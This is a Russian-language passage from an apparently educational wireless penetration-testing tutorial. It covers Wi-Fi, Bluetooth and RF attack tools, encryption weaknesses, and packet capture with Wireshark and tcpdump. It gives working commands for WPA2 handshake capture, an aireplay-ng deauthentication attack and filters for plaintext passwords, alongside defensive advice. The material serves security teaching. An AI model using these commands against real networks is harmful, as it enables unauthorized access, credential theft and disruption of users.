2️⃣ Программное обеспечение для взлома Bluetooth
🔹 BlueZ - стек Bluetooth для Linux для сканирования и взаимодействия с устройствами.
🔹 Btlejack - сниффер и угонщик BLE (отлично подходит для тестирования устройств Bluetooth Low Energy).
🔹 Bettercap - мощный инструмент MITM, который включает атаки Bluetooth и Wi-Fi.
3️⃣ Программное обеспечение для RF и SDR
🔹 GQRX - графический SDR-приемник для анализа RF-сигналов.
🔹 RTL_433 - используется для декодирования сигналов от метеостанций, пультов дистанционного управления и умных счетчиков.
🔹 GNURadio - полноценный пакет обработки SDR для анализа и манипулирования радиосигналами.

Настройка лаборатории для беспроводного взлома

Теперь, когда у вас есть оборудование и программное обеспечение, давайте настроим безопасную среду для взлома.
1️⃣ Заведите выделенную машину
Хотя вы можете запускать инструменты для взлома в своей основной операционной системе, лучше иметь выделенную систему (или, по крайней мере, виртуальную машину). Kali Linux - это операционная система для тестирования на проникновение, но другие варианты включают Parrot Security OS и BlackArch.
Лучшая конфигурация:
✔️ Ноутбук с установленной Kali Linux (или виртуальная машина)
✔️ Raspberry Pi 4 для мобильных установок для взлома
✔️ Отдельный маршрутизатор или точка доступа для тестирования Wi-Fi атак

2️⃣ Изолируйте тестовую сеть
Не взламывайте Wi-Fi соседа - создайте свой собственный! Вы можете:
✔️ Создать гостевую сеть на своем домашнем маршрутизаторе.
✔️ Использовать дешевый вторичный маршрутизатор для имитации реальных целей.
✔️ Запустить виртуальную точку доступа с помощью таких инструментов, как hostapd в Kali Linux.

3️⃣ Практикуйтесь в контролируемой среде
✔️ Используйте тестовые устройства (старые смартфоны, гаджеты IoT) для практики атак Bluetooth и RF.
✔️ Тестируйте деаутентификацию Wi-Fi и захват рукопожатий в своей собственной сети.
✔️ Экспериментируйте с SDR, анализируя общедоступные RF-сигналы (в пределах законных ограничений).

Заключительные мысли: добро пожаловать на игровую площадку для беспроводного взлома

Поздравляем! Вы только что создали свою собственную лабораторию для беспроводного взлома. С правильными инструментами, программным обеспечением и этическим подходом вы теперь готовы погрузиться во взлом Wi-Fi, эксплойты Bluetooth и RF-взлом как профессионал. Но помните: с великой силой приходит великая ответственность (и редкий параноидальный взгляд от ваших соседей, когда вы начинаете говорить о инъекции пакетов за ужином).
Теперь перейдем к реальным методам взлома. Далее: распространенные уязвимости и эксплойты беспроводной безопасности!

1.5 Распространенные уязвимости и атаки в беспроводных сетях​

Ах, безопасность беспроводных сетей - там, где удобство встречается с хаосом. Если проводные сети похожи на крепости с подъемными мостами, то беспроводные сети - на замки с невидимыми дверями, через которые злоумышленники могут просто пройти (если знают нужные трюки). Мы любим свободу Wi-Fi, Bluetooth и радиочастотной связи, но эта свобода имеет свою цену: уязвимости.
В этой главе мы углубимся в наиболее распространенные уязвимости беспроводных сетей и способы их эксплуатации хакерами. От устаревших стандартов шифрования до поддельных точек доступа и глушения сигналов - мы разберем, как злоумышленники получают несанкционированный доступ и что вы можете сделать для защиты от них. Приготовьтесь, потому что после этого вы никогда не будете смотреть на свой Wi-Fi-роутер прежними глазами.

1️⃣ Слабое шифрование Wi-Fi: Отмычка для хакеров
Начнем с главного виновника - плохого шифрования. Если вы все еще используете WEP (Wired Equivalent Privacy), нам нужно серьезно поговорить. WEP настолько устарел, что я мог бы взломать его с помощью Raspberry Pi на картофельном питании менее чем за 5 минут.
Распространенные уязвимости шифрования Wi-Fi:
🔹WEP (Wired Equivalent Privacy) - Использует слабые IV (Initialization Vectors), что позволяет легко взломать его с помощью таких инструментов, как Aircrack-ng.
🔹WPA/WPA2 со слабыми паролями - Даже WPA2, при использовании с плохим паролем, может быть взломан с помощью атак перебора (brute-force) или атак PMKID.
🔹Атаки понижения уровня WPA3 - Хотя WPA3 более надежен, злоумышленники могут заставить устройства вернуться к WPA2, снова делая их уязвимыми.
Эксплуатация на практике:
🔹Взлом WEP - Захват достаточного количества пакетов и использование Aircrack-ng для взлома ключа.
🔹Захват рукопожатия WPA/WPA2 - Использование таких инструментов, как Airgeddon или Bettercap, для отключения клиента и захвата рукопожатия для последующего офлайн-взлома.
🔹Атака PMKID - Более быстрый способ взлома сетей WPA/WPA2 без необходимости полного рукопожатия.
💡Совет по защите: Используйте WPA3 с длинным, уникальным паролем и отключите WPS (Wi-Fi Protected Setup).

2️⃣ Поддельные точки доступа и атаки "Злой двойник"
Представьте, что вы находитесь в кофейне и видите Wi-Fi-сеть под названием "Free_Coffee_WiFi". Звучит легитимно, верно? Что ж, поздравляем, вы только что подключились к атаке "Злой двойник".
Как это работает:
🔹Злоумышленники создают поддельную Wi-Fi-сеть с тем же именем, что и доверенная сеть.
🔹Когда вы подключаетесь, они перехватывают ваш трафик (классическая атака "человек посередине" (Man-in-the-Middle, MITM)).
🔹Они могут красть учетные данные, внедрять вредоносное ПО или перенаправлять вас на фишинговые страницы.
Эксплуатация на практике:
🔹Wi-Fi Pineapple - Лучший друг хакера для настройки поддельных точек доступа и проведения атак MITM.
🔹Атака Karma - Заставляет устройства автоматически подключаться к поддельным точкам доступа без ведома пользователя.
🔹"Злой двойник" с порталом авторизации - Обманывает пользователей, заставляя их вводить пароль Wi-Fi на поддельной странице входа.
💡 Совет по защите: Всегда проверяйте имя сети и используйте VPN при подключении к общедоступному Wi-Fi.

3️⃣ Атаки деаутентификации: Выброс пользователей из сети
Атака деаутентификации - это как кибервышибала, который силой выгоняет устройства из Wi-Fi-сети. Злоумышленники используют это для нарушения работы сетей или принуждения пользователей к повторному подключению к поддельной точке доступа.
Как это работает:
🔹 Wi-Fi использует управляющие кадры для обработки соединений, но они не зашифрованы.
🔹 Злоумышленники могут подделывать пакеты деаутентификации и отключать устройства.
🔹 Пользователи могут неосознанно переподключиться к вредоносной точке доступа, установленной злоумышленником.
Эксплуатация на практике:
🔹 mdk3 & aireplay-ng - Классические инструменты для отправки поддельных кадров деаутентификации.
🔹 Деаутентификация IoT-устройств - Может привести к отключению умных камер, колонок или сигнализаций, делая их уязвимыми.
💡 Совет по защите: Используйте WPA3 + Protected Management Frames (PMF) для предотвращения атак деаутентификации.

4️⃣ Атаки Bluetooth: Перехват и эксплуатация устройств
Bluetooth отлично подходит для беспроводных наушников, но также является мечтой хакера, когда безопасность слаба. Многие устройства Bluetooth имеют стандартные PIN-коды (например, 0000 или 1234) или не шифруют конфиденциальные данные.
Распространенные уязвимости Bluetooth:
🔹 Слабое сопряжение по PIN-коду - Легко взламывается перебором с помощью таких инструментов, как crackle.
🔹 BlueSnarfing - Кража файлов с устройств с поддержкой Bluetooth.
🔹 BlueBorne - Уязвимость удаленного выполнения кода, позволяющая злоумышленникам контролировать ваше устройство без сопряжения.
Эксплуатация на практике:
🔹 Btlejack & Ubertooth One - Используются для перехвата трафика Bluetooth Low Energy (BLE).
🔹 Bluesniff - Захватывает пакеты Bluetooth для анализа соединений.
🔹 Перебор PIN-кодов Bluetooth - Позволяет злоумышленникам получить несанкционированный доступ.
💡 Совет по защите: Отключайте Bluetooth, когда он не используется, и используйте функцию "Забыть устройство" для старых сопряжений.

5️⃣ Эксплуатация RF и IoT: Глушение, перехват и атаки повторного воспроизведения
Радиочастотный (RF) взлом - это как Дикий Запад в кибербезопасности. Многие умные устройства - гаражные ворота, брелоки и умные замки - передают сигналы без должного шифрования, что облегчает их перехват и повторное воспроизведение.
Распространенные уязвимости RF:
🔹 Незашифрованные RF-сигналы - Многие IoT-устройства не защищают свои передачи.
🔹 Атаки повторного воспроизведения (Replay attacks) - Злоумышленники захватывают сигнал и воспроизводят его для выполнения действия.
🔹 Глушение сигнала - Нарушает беспроводную связь, перегружая частоту.
Эксплуатация на практике:
🔹 RTL-SDR & HackRF One - Используются для перехвата и повторного воспроизведения RF-сигналов от IoT-устройств.
🔹 Атака RollJam - Используется для обхода брелоков с плавающим кодом для автомобилей и гаражей.
🔹 Глушение устройств умного дома - Может отключить умные сигнализации или помешать IoT-устройствам подключаться.
💡 Совет по защите: Используйте зашифрованные RF-протоколы, включите плавающие коды и следите за помехами сигнала.

Заключение: Безопасность беспроводных сетей - это поле боя

Беспроводные технологии облегчают нашу жизнь, но также создают бесконечные возможности для атак. Хакеры любят беспроводные сети, потому что им не нужен физический доступ - только правильные инструменты и методы.
Ключевой вывод? Каждый беспроводной протокол - будь то Wi-Fi, Bluetooth или RF - имеет уязвимости. Как специалисты по безопасности, наша задача - выявлять эти слабости раньше злоумышленников. Будьте на шаг впереди, используя надежное шифрование, избегая поддельных сетей и своевременно обновляя ваши беспроводные устройства.
И если вы когда-нибудь увидите Wi-Fi-сеть под названием "FBI_Surveillance_Van_69", возможно, не стоит к ней подключаться. Просто к сведению.


Глава 2: Безопасность Wi-Fi и методологии атак​

Пытались ли вы когда-нибудь смотреть любимое шоу в потоковом режиме, но ваш Wi-Fi работал медленнее улитки в отпуске? Иногда это просто плохая сила сигнала. В других случаях... ну, кто-то мог перехватить ваше соединение. Сети Wi-Fi - это цифровые поля сражений, где злоумышленники постоянно находят новые способы проникновения, кражи данных и нанесения ущерба. Если вы когда-нибудь задумывались, как хакеры осуществляют те хитрые Wi-Fi-атаки, которые вы видите в фильмах, сейчас вы узнаете.
Эта глава охватывает основы безопасности Wi-Fi, начиная с обзора стандартов 802.11 и протоколов шифрования, таких как WEP, WPA, WPA2 и WPA3. Мы рассмотрим, как злоумышленники захватывают и анализируют трафик Wi-Fi с помощью таких инструментов, как Wireshark и Tcpdump, и разберем распространенные методологии атак, включая атаки деаутентификации, сети "Злой двойник" и поддельные точки доступа. Что еще более важно, мы обсудим стратегии защиты для смягчения этих угроз и обеспечения безопасности вашей сети.

2.1 Понимание протоколов Wi-Fi: 802.11a/b/g/n/ac/ax​

Ах, Wi-Fi. Волшебная сила, которая поддерживает нашу связь, позволяет нам смотреть любимые шоу и - будем честны - сводит нас с ума, когда скорость падает. Мы любим его, когда он работает, и проклинаем, когда нет. Но задумывались ли вы когда-нибудь, почему некоторые Wi-Fi-сети кажутся молниеносными, а другие заставляют вас хотеть выбросить роутер в окно?
Вот где в игру вступают протоколы Wi-Fi 802.11. Видите ли, Wi-Fi - это не одна технология, а постоянно развивающееся семейство стандартов. От древнего 802.11a до сверхбыстрого Wi-Fi 6 (802.11ax) каждое поколение приносит улучшения в скорости, дальности действия, безопасности и эффективности. В этом разделе мы разберем эволюцию Wi-Fi, объясним, почему некоторые протоколы до сих пор используются, а другие давно должны были быть забыты, и поможем вам понять, как хакеры могут использовать уязвимости устаревших стандартов. Так что возьмите чашку кофе (или энергетический напиток по вашему выбору), потому что сейчас будет интересно!

Краткая история Wi-Fi: от 802.11a до Wi-Fi 6

Стандарты Wi-Fi создаются IEEE (Институтом инженеров электротехники и электроники) и маркируются в семействе 802.11. Вот краткий обзор каждой основной версии:
1️⃣ 802.11a (1999) - Забытый пионер
🔹 Скорость: до 54 Мбит/с
🔹 Частота: 5 ГГц
🔹 Недостаток: Малый радиус действия, дорогое оборудование
Хотя 802.11a был одним из первых стандартов Wi-Fi, он так и не получил широкого распространения из-за высокой стоимости и малого радиуса действия. Он работал в диапазоне 5 ГГц, что означало меньшее количество помех, но более слабое проникновение сигнала через стены. Большинство устройств того времени не могли его поддерживать, поэтому он быстро стал реликвией.

2️⃣ 802.11b (1999) - Первый массовый Wi-Fi
🔹 Скорость: до 11 Мбит/с
🔹 Частота: 2,4 ГГц
🔹 Недостаток: Низкая скорость, проблемы с помехами
Хотя 802.11b по сегодняшним меркам был медленным, в начале 2000-х он стал революционным. Он использовал диапазон 2,4 ГГц, который имел лучший радиус действия, но также страдал от помех от таких устройств, как микроволновые печи, беспроводные телефоны и даже радионяни. Несмотря на свои недостатки, он сделал Wi-Fi широко доступным и проложил путь для будущих улучшений.

3️⃣ 802.11g (2003) - Лучшее из двух миров
🔹 Скорость: до 54 Мбит/с
🔹 Частота: 2,4 ГГц
🔹 Недостаток: Все еще страдает от помех
802.11g сочетал более высокую скорость 802.11a с лучшей совместимостью 802.11b. Он стал стандартным Wi-Fi на многие годы, но хакеры вскоре нашли способы использовать его более слабые протоколы шифрования, такие как WEP и ранние версии WPA.

4️⃣ 802.11n (2009) - Рождение MIMO (Wi-Fi 4)
🔹 Скорость: до 600 Мбит/с
🔹 Частота: 2,4 ГГц и 5 ГГц
🔹 Недостаток: Больше помех в диапазоне 2,4 ГГц
Это был первый стандарт Wi-Fi, представивший технологию MIMO (Multiple Input, Multiple Output), позволяющую роутерам отправлять и получать данные по нескольким потокам. Он также представил двухдиапазонные возможности, что означало, что он мог работать как в диапазоне 2,4 ГГц, так и в 5 ГГц. Это сделало его намного быстрее и надежнее.

5️⃣ 802.11ac (2014) - Гигабитный Wi-Fi (Wi-Fi 5)
🔹 Скорость: до 3,5 Гбит/с
🔹 Частота: 5 ГГц
🔹 Недостаток: Нет поддержки устройств 2,4 ГГц
Этот стандарт, также известный как Wi-Fi 5, представил MU-MIMO (Multi-User MIMO), позволяющий нескольким устройствам одновременно получать данные. Это было огромное улучшение для загруженных сетей. Однако он отказался от поддержки 2,4 ГГц, что означало, что старые устройства не могли в полной мере использовать его скорость.

6️⃣ 802.11ax (2019) - Режим зверя Wi-Fi (Wi-Fi 6)
🔹 Скорость: до 9,6 Гбит/с
🔹 Частота: 2,4 ГГц и 5 ГГц
🔹 Недостаток: Требует более новых устройств для полного использования
Добро пожаловать в эру Wi-Fi 6. Этот стандарт оптимизирован для сред с высокой плотностью (например, аэропорты, стадионы и ваш дом, когда подключены все ваши умные устройства). Он представляет OFDMA (Orthogonal Frequency Division Multiple Access), который обеспечивает более эффективную передачу данных даже при подключении нескольких устройств. Он также улучшает безопасность с помощью WPA3 и обеспечивает лучшее время автономной работы для IoT-устройств с Target Wake Time (TWT).

Почему протоколы Wi-Fi важны для безопасности

Теперь, когда мы рассмотрели эволюцию Wi-Fi, давайте поговорим о рисках безопасности и уязвимостях, связанных со старыми протоколами.
Распространенные уязвимости безопасности Wi-Fi:
🔹 WEP (802.11b/g) - Легко взламывается за минуты с помощью таких инструментов, как Aircrack-ng.
🔹 WPA (ранний 802.11n) - Уязвим для атак перебора.
🔹 WPA2 (802.11ac) - Более безопасен, но все еще уязвим для атак KRACK.
🔹 WPA3 (802.11ax) - Самое сильное шифрование на данный момент, но в некоторых случаях может быть понижен до WPA2.

Как злоумышленники эксплуатируют протоколы Wi-Fi:

1️⃣ Перехват трафика - Инструменты, такие как Wireshark, могут перехватывать незашифрованные данные.
2️⃣ Захват и взлом рукопожатия - Злоумышленники используют Aircrack-ng для захвата рукопожатий WPA2 и перебора паролей.
3️⃣ Атаки понижения уровня - Принуждение устройств к подключению к более слабым стандартам шифрования.
4️⃣ Атаки "Злой двойник" - Создание поддельной Wi-Fi-сети с тем же SSID для кражи учетных данных.
💡 Совет по защите: Всегда используйте WPA3, если это возможно, и выбирайте надежный, уникальный пароль для вашей сети.

Заключение: Wi-Fi развивается, но хакеры тоже

Технология Wi-Fi прошла долгий путь, но каждое новое улучшение приносит новые проблемы безопасности. Старые протоколы, такие как WEP и WPA, следует избегать, и даже WPA2 имеет свои недостатки. Поскольку Wi-Fi 6 и последующие версии становятся новым стандартом, злоумышленники будут продолжать находить креативные способы использования уязвимостей.
Так что в следующий раз, когда вы зададитесь вопросом, почему ваш интернет медленный, помните: это может быть не только ваш интернет-провайдер - кто-то может перехватывать ваши пакеты. Оставайтесь в безопасности, обновляйтесь и всегда думайте, прежде чем подключаться к случайным общедоступным сетям.

2.2 Стандарты шифрования: WEP, WPA, WPA2, WPA3​

Ах, шифрование Wi-Fi - наш цифровой ремень безопасности, который должен защищать нас от кибер-аварий. Но, как и настоящие ремни безопасности, некоторые из этих стандартов шифрования устарели, ненадежны или, честно говоря, бесполезны, как сетчатая дверь на подводной лодке. Если вы когда-нибудь задумывались, почему хакеры любят WEP, как будто это шведский стол "ешь сколько хочешь", или почему WPA3 - новый шериф в городе, вы попали по адресу.
Шифрование предотвращает подслушивание трафика Wi-Fi злоумышленниками, кражу вашего пароля от Netflix или запуск атаки на ваш роутер. Но не все стандарты шифрования созданы равными. За годы мы прошли путь от безнадежно уязвимого WEP до умеренно безопасного WPA, затем до широко используемого WPA2 и теперь до WPA3, который обещает лучшую защиту - если вы используете его правильно.
Давайте разберемся, как работают эти стандарты шифрования, почему некоторые легко взламываются и как хакеры эксплуатируют слабые сети.
🔹 Представлен: 1997 г.
🔹 Сила шифрования: Слабая (ключи 40-бит и 104-бит)
🔹 Уязвимости: Легко взламывается за минуты

Взлет и падение WEP (Wired Equivalent Privacy)

WEP был первой попыткой Wi-Fi обеспечить шифрование, и, ну... она провалилась. Катастрофически. Разработанный для обеспечения безопасности, "эквивалентной проводной сети", WEP полагался на потоковый шифр RC4, который оказался таким же безопасным, как оставление ключа от дома под ковриком.

Как работает WEP (и почему это ужасно)

Шифрование WEP использует общий ключ (40-битный или 104-битный) и вектор инициализации (IV) для шифрования пакетов данных. Проблема? IV слишком короткие (всего 24 бита) и часто повторяются, что делает чрезвычайно легким для хакеров перехват достаточного количества пакетов и взлом ключа с помощью таких инструментов, как Aircrack-ng.

Взлом WEP: атака за 60 секунд

Используя простую атаку захвата и повторного воспроизведения пакетов, хакеры могут собрать достаточно IV и взломать ключ WEP менее чем за минуту. Если вы когда-нибудь увидите сеть, защищенную WEP, знайте, что решительный хакер сможет взломать ее до того, как остынет его кофе.
Вердикт: WEP мертв. Если вы все еще используете его, прекратите прямо сейчас, обновите свой роутер и идите в ногу со временем.

WPA (Wi-Fi Protected Access): временное решение

🔹 Представлен: 2003 г.
🔹 Сила шифрования: Средняя (TKIP, 128-битный ключ)
🔹 Уязвимости: Уязвим для атак перебора
После впечатляющего провала WEP альянс Wi-Fi поспешил выпустить WPA в качестве временного решения. WPA заменил слабую систему IV WEP на TKIP (Temporal Key Integrity Protocol), который динамически изменял ключи шифрования для каждого пакета. Хотя это было огромное улучшение по сравнению с WEP, у WPA все еще были проблемы.

Слабость WPA: атака перебора PSK

WPA все еще может быть взломан с помощью словарных атак или атак перебора по предварительно заданным ключам (PSK). Злоумышленники могут использовать такие инструменты, как Aircrack-ng, Hashcat и Cowpatty, для угадывания слабых паролей. Если сеть использует WPA-Enterprise (802.1X) с аутентификацией RADIUS, она намного надежнее - но большинство домашних пользователей придерживаются WPA-PSK, который уязвим.
Вердикт: Лучше, чем WEP, но все еще недостаточно безопасен для современных сетей.

WPA2: золотой стандарт (пока он не стал таковым)

🔹 Представлен: 2004 г.
🔹 Сила шифрования: Сильная (AES-CCMP, 256-битный ключ)
🔹 Уязвимости: Атака KRACK (2017 г.)
WPA2 заменил TKIP на AES (Advanced Encryption Standard), алгоритм шифрования военного уровня, который широко используется до сих пор. Он представил CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol), который сделал его значительно более безопасным, чем WPA.

Атака KRACK: Ахиллесова пята WPA2

В 2017 году исследователи безопасности обнаружили KRACK (Key Reinstallation Attack) - уязвимость в 4-стороннем рукопожатии WPA2, которая позволяла злоумышленникам принудительно переустанавливать ослабленный ключ шифрования. Это означало, что злоумышленник в пределах досягаемости мог расшифровать трафик Wi-Fi, потенциально крадя конфиденциальные данные, такие как пароли, электронные письма и данные кредитных карт.

Предотвращение атак WPA2

🔹 Используйте надежные пароли - WPA2 так же надежен, как и ваша парольная фраза. Слабый пароль = легкий взлом.
🔹 Включите аутентификацию 802.1X - Если возможно, используйте WPA2-Enterprise вместо WPA2-PSK.
🔹 Обновляйте прошивку - Патчи для KRACK были выпущены, но многие люди так и не обновили свои роутеры (не будьте таким человеком).
Вердикт: WPA2 по-прежнему широко используется, но не является непобедимым. Если ваш роутер поддерживает WPA3, обновитесь как можно скорее.

WPA3: будущее безопасности Wi-Fi

🔹 Представлен: 2018 г.
🔹 Сила шифрования: Очень сильная (GCMP-256, Simultaneous Authentication of Equals)
🔹 Уязвимости: Некоторые атаки понижения уровня все еще возможны

WPA3 исправляет самые большие уязвимости WPA2, представляя:

✅ SAE (Simultaneous Authentication of Equals) - Заменяет 4-стороннее рукопожатие, делая его устойчивым к офлайн-атакам перебора.
✅ Прямая секретность (Forward Secrecy) - Даже если злоумышленник захватит зашифрованный трафик сегодня, он не сможет расшифровать его позже.
✅ Лучшая защита для открытых сетей - WPA3 шифрует трафик даже в общедоступных Wi-Fi сетях без паролей (называется OWE: Opportunistic Wireless Encryption).

Почему WPA3 еще не пуленепробиваемый

1️⃣ Атаки понижения уровня: Некоторые роутеры могут быть принудительно переведены обратно на WPA2, что делает их уязвимыми для известных уязвимостей.
2️⃣ Атаки по побочным каналам: В 2019 году исследователи обнаружили незначительные уязвимости в ранних реализациях WPA3, но с тех пор были выпущены исправления.
Вердикт: Используйте WPA3, если можете, но убедитесь, что ваш роутер обновлен и правильно настроен.

Какой Wi-Fi шифрование следует использовать?

Если вы настраиваете Wi-Fi-сеть сегодня, вот простое руководство:
🔹 Используйте WPA3-Personal (если поддерживается)
🔹 Если WPA3 недоступен, используйте WPA2-AES (не WPA2-TKIP!)
🔹 Избегайте WEP и WPA любой ценой
🔹 Для бизнеса используйте WPA3-Enterprise или WPA2-Enterprise с аутентификацией 802.1X

Заключение: Безопасность - это движущаяся мишень

Шифрование похоже на средневековый замок - стены становятся выше, но злоумышленники находят новые лестницы. Хотя WPA3 в настоящее время является лучшим вариантом, история показала, что ни один стандарт шифрования не вечен. Хакеры постоянно совершенствуют свои методы, поэтому информированность - лучший способ защитить себя.
И помните - независимо от того, насколько сильным является ваше Wi-Fi шифрование, если ваш пароль "password123", вы уже проиграли. Оставайтесь в безопасности, обновляйтесь и всегда используйте надежные, уникальные пароли.

2.3 Захват и анализ трафика Wi-Fi с помощью Wireshark и Tcpdump​

Ладно, давайте будем честны: анализ сетевого трафика звучит как нечто, чем занимаются только элитные специалисты по кибербезопасности в тускло освещенных комнатах с шестью мониторами, потягивая подозрительно холодный кофе. Но правда в том, что любой, у кого есть ноутбук, совместимая Wi-Fi карта и немного любопытства, может начать перехватывать пакеты, как цифровая ищейка.
Если вы когда-либо задумывались, что на самом деле происходит в вашей Wi-Fi сети, или хотите увидеть, как хакеры перехватывают данные, вас ждет угощение. Эта глава посвящена двум мощным инструментам: Wireshark и Tcpdump - Бэтмену и Робину сетевого анализа. Они позволяют захватывать, анализировать и разбирать сетевой трафик, выявляя уязвимости в реальном времени. Независимо от того, являетесь ли вы этичным хакером, пентестером или просто техническим гиком, который хочет понять, как данные передаются по воздуху, здесь начинается самое интересное.

Что такое перехват Wi-Fi пакетов?

Прежде чем мы углубимся в инструменты, давайте поговорим о том, что такое перехват пакетов на самом деле. Каждый раз, когда вы подключаетесь к Wi-Fi сети, ваше устройство отправляет и получает данные небольшими порциями, называемыми пакетами. Эти пакеты содержат все: от веб-сайта, который вы посещаете, до вашей истории просмотров Netflix. Перехватчик пакетов захватывает эти пакеты, позволяя вам просматривать их, фильтровать по конкретным данным и анализировать уязвимости безопасности. Это полезно для:
✔️Обнаружения неавторизованных устройств в сети
✔️Выявления неправильных настроек безопасности
✔️Отладки сетевых проблем
✔️Этичного хакинга и тестирования на проникновение
Теперь давайте приступим к работе с двумя самыми популярными инструментами для перехвата пакетов: Wireshark и Tcpdump.

Wireshark: Шведский армейский нож для анализа пакетов

Если бы у Wireshark был слоган, он звучал бы так: "Потому что каждый пакет рассказывает свою историю". Этот бесплатный инструмент с графическим интерфейсом является основным выбором для сетевых аналитиков, хакеров и системных администраторов.

Начало работы с Wireshark

1️⃣ Установите Wireshark
● Windows: Загрузите с Wireshark.org
● Linux:

sudo apt install wireshark

● macOS:

brew install wireshark

2️⃣ Включите режим мониторинга
Чтобы захватывать Wi-Fi пакеты, вам нужен Wi-Fi адаптер, поддерживающий режим мониторинга. Выполните:

airmon-ng start wlan0

Это переводит вашу Wi-Fi карту в режим мониторинга, позволяя захватывать весь трафик, а не только ваш собственный.
3️⃣ Начните захват трафика
● Откройте Wireshark
● Выберите ваш Wi-Fi интерфейс
● Нажмите "Старт"
Вуаля! Теперь вы захватываете Wi-Fi трафик как профессионал.

На что обращать внимание в Wireshark

Wireshark поначалу может показаться сложным, но вот на чем стоит сосредоточиться:
✅ Фильтруйте трафик: Используйте фильтры, чтобы сузить область поиска. Некоторые полезные фильтры:
● http # Показывает только HTTP-трафик
● tcp # Фильтрует TCP-пакеты
● udp # Фильтрует UDP-пакеты
● wlan # Отображает только пакеты, связанные с Wi-Fi
✅ Анализируйте рукопожатия: Хотите взломать пароль Wi-Fi? Ищите пакеты 4-стороннего рукопожатия WPA2:
eapol
✅ Обнаруживайте поддельные точки доступа: Ищите атаки деаутентификации:

wlan.fc.type_subtype == 0x0c

✅ Извлекайте учетные данные: Пароли в незашифрованном виде? Да, иногда их можно найти в HTTP-пакетах (используйте на свое усмотрение с этической точки зрения).
Tcpdump: Зверь командной строки
Wireshark великолепен, но иногда вам нужно что-то более легкое, быстрое и скриптовое. Вот где Tcpdump сияет.
Установка Tcpdump
Большинство систем Linux и macOS имеют его предустановленным. Если нет:

sudo apt install tcpdump # Debian-based
brew install tcpdump # macOS

 

Основные команды Tcpdump

✅ Захват всего трафика по Wi-Fi:

sudo tcpdump -i wlan0

✅ Захват только TCP-пакетов:

sudo tcpdump -i wlan0 tcp

✅ Захват пакетов и сохранение в файл для последующего анализа:

sudo tcpdump -i wlan0 -w capture.pcap

✅ Чтение сохраненного файла захвата:

tcpdump -r capture.pcap

✅ Поиск HTTP-трафика (отлично подходит для обнаружения незашифрованных данных):

tcpdump -i wlan0 port 80

✅ Поиск рукопожатия WPA2:

tcpdump -i wlan0 ether proto 0x888e

Хотите получать данные пакетов в реальном времени? Tcpdump предоставляет необработанный, нефильтрованный трафик прямо из эфира, что делает его фаворитом среди аналитиков безопасности и хакеров.

Практические сценарии использования Wireshark и Tcpdump для взлома

1️⃣ Захват рукопожатия WPA2 (для взлома пароля)
Если вы тестируете безопасность Wi-Fi, вы можете захватить рукопожатие WPA2 и попытаться его взломать. Шаги:
1️⃣ Включите режим мониторинга:

airmon-ng start wlan0

2️⃣ Захватите рукопожатие с помощью Tcpdump:

tcpdump -i wlan0 ether proto 0x888e -w handshake.pcap

3️⃣ Используйте Aircrack-ng или Hashcat для перебора рукопожатия и восстановления пароля.
2️⃣ Обнаружение атаки деаутентификации
Если кто-то проводит атаку "Злой двойник" (Evil Twin) на вашу сеть, вы увидите, как пакеты деаутентификации заполняют Wireshark. Примените этот фильтр:

wlan.fc.type_subtype == 0x0c

Если вы видите множество таких пакетов, возможно, кто-то отключает пользователей от сети, чтобы заставить их подключиться к поддельной точке доступа. Время расследовать!
3️⃣ Перехват незашифрованного веб-трафика
Если веб-сайт не использует HTTPS, вы буквально можете увидеть имена пользователей и пароли в открытом виде. Откройте Wireshark и используйте:

http contains "password"

Никогда не входите на сайты через общедоступный Wi-Fi без VPN - потому что кто-то может делать это с вами прямо сейчас.

Защитные стратегии: как защитить свой Wi-Fi трафик

Теперь, когда вы знаете, как злоумышленники захватывают и анализируют трафик, вот как защитить себя:
✅ Используйте шифрование WPA3 - предотвращает атаки перебора паролей.
✅ Включите HTTPS Everywhere - гарантирует шифрование данных.
✅ Используйте VPN - шифрует весь ваш трафик, поэтому даже если он будет перехвачен, он будет нечитаемым.
✅ Отключите автоматическое подключение к Wi-Fi сетям - предотвращает атаки "Злой двойник".
✅ Мониторьте свою сеть - используйте Wireshark, чтобы увидеть, не шпионит ли кто-то за вами.

Заключение: Пакеты никогда не лгут

Анализ Wi-Fi трафика - это и искусство, и наука. Независимо от того, являетесь ли вы хакером, исследователем безопасности или просто энтузиастом IT, понимание того, как работают Wireshark и Tcpdump, дает вам суперспособности. Но помните: с великой силой перехвата пакетов приходит великая ответственность.
Так что вперед, запустите Wireshark, начните перехват и посмотрите, чем на самом деле занимается ваша сеть. Но если вы обнаружите, что погружаетесь в кроличью нору шестнадцатеричных кодов и анализаторов протоколов, не говорите, что я вас не предупреждал.

2.4 Распространенные атаки на Wi-Fi: Деаутентификация, "Злой двойник" и поддельные точки доступа​

Ах, Wi-Fi - невидимая магия, питающая нашу интернет-зависимость. Он повсюду: от кофеен до аэропортов, и, давайте будем честны, мы все беззастенчиво подключались к какой-нибудь случайной "Бесплатной общедоступной Wi-Fi" по крайней мере один раз. Но задумывались ли вы когда-нибудь, кто управляет этой сетью? Что, если я скажу вам, что некоторые "бесплатные Wi-Fi" хотспоты существуют исключительно для кражи ваших данных? Добро пожаловать в темные искусства взлома Wi-Fi, где злоумышленники могут перехватить ваше соединение, выкинуть вас из сети или обманом заставить подключиться к поддельному Wi-Fi.
В этой главе мы глубоко погрузимся в три наиболее распространенные атаки на Wi-Fi: атаки деаутентификации, настройки "Злой двойник" и поддельные точки доступа (Rogue AP). Эти атаки шокирующе просты, но высокоэффективны, и понимание их имеет решающее значение - не только для проведения тестов на проникновение, но и для защиты себя.

1. Атаки деаутентификации: трюк с выкидыванием из Wi-Fi
Что это? Представьте, что вы смотрите Netflix, глубоко погрузившись в марафон, когда внезапно - бац! - ваш Wi-Fi отключается. Вы лихорадочно обновляете страницу, перезагружаете роутер и проклинаете своего интернет-провайдера. Но вот в чем подвох: проблема не в вашем интернете. Кто-то просто деаутентифицировал вас.
Атака деаутентификации (или атака deauth) - это простой способ принудительно отключить устройство от Wi-Fi сети. Злоумышленник подделывает MAC-адрес сети и отправляет кадры деаутентификации вашему устройству, сообщая ему: "Эй, Wi-Fi тебя выкидывает!" Ваше устройство, послушное, как всегда, мгновенно отключается. Как это работает?
Wi-Fi сети используют управляющие кадры для поддержания соединений. Однако старые стандарты не шифровали эти кадры, что делало их легкими для эксплуатации. Злоумышленники могут использовать такой инструмент, как aireplay-ng из набора Aircrack-ng, для запуска этой атаки:

aireplay-ng --deauth 100 -a [MAC-адрес_роутера] -c [MAC-адрес_цели] wlan0mon


Вот что происходит:
1️⃣ Злоумышленник отправляет пакеты деаутентификации устройству жертвы.
